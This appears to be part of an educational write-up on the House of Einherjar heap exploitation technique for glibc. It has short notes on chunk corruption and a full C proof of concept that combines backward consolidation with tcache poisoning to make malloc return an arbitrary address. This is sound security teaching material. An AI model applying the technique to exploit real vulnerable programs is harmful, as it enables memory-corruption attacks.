How it works


Desktop View Before corruption

The next and prev fields are set to point to itself for the unlinking to happen successfully {: .prompt-info }

Desktop View After corruption

This is why it’s ideal if the size of victim is a multiple of 0x100 {: .prompt-info }

Typically on freeing victim it should land in tcache which does not perform any consolidation, hence you should fill tcache just before calling free(victim) {: .prompt-warning }

Desktop View After consolidation

PoC

/**
 * Author: VulnX <vulnx101@gmail.com>
 * Description: PoC for House of Einherjar attack
 *
 * How to compile and run:
 *   gcc einherjar.c -o einherjar -g && ./einherjar
 *
 * Expected output:
 *   TARGET ACHIEVED
 */
#include <assert.h>
#include <malloc.h>
#include <stddef.h>
#include <stdlib.h>

struct fake_chunk {
  size_t prev_size;
  size_t size;
  void *next;
  void *prev;
};

void fill_tcache(size_t size) {
  void *chunks[7];
  for (int i = 0; i < 7; i++) {
    chunks[i] = malloc(size);
  }
  for (int i = 0; i < 7; i++) {
    free(chunks[i]);
  }
}

size_t mangle(void *ptr, void *addr) {
  return (size_t)ptr ^ ((size_t)addr >> 12);
}

int main() {
  void *target;
  struct fake_chunk *fake = malloc(sizeof(struct fake_chunk));
  fake->prev_size = 0;
  fake->next = fake;
  fake->prev = fake;
  void *middle = malloc(0x20 - 8);  // minimum sized allocation
  void *victim = malloc(0x100 - 8); // Preferably a multiple of 0x100
  size_t size_difference = victim - (void *)fake - 0x10;

  *(size_t *)(middle + malloc_usable_size(middle) - sizeof(void *)) =
      size_difference; // victim->prev_size = size_difference
  // -- start vuln
  *(char *)(middle + malloc_usable_size(middle)) =
      '\0'; // clear PREV_INUSE bit from victim via OOB write
  // -- end vuln
  fake->size = size_difference; // Ensure fake->size == victim->prev_size ==
                                // size_difference

  // fill tcache so that victim lands in smallbin *after* consolidating
  // backwards
  fill_tcache(0x100 - 8);
  free(victim);

  size_t consolidated_size = 0x100 + size_difference;
  void *overlap = malloc(consolidated_size - 8);

  assert(overlap - 0x10 == fake); // overlap now *contains* middle inside it

  // -- normal tcache poisoning
  void *another = malloc(0x20 - 8);
  free(another);
  free(middle);
  void *target_addr =
      (((size_t)&target & 0xf) == 0) ? &target : (void *)&target + 0x8;
  *(size_t *)(overlap + malloc_usable_size(fake) + sizeof(void *) - 0x10) =
      mangle(target_addr, middle);
  void *obtained = malloc(0x20 - 8);
  obtained = malloc(0x20 - 8);

  assert(obtained == target_addr);

  puts("TARGET ACHIEVED");

  return 0;
}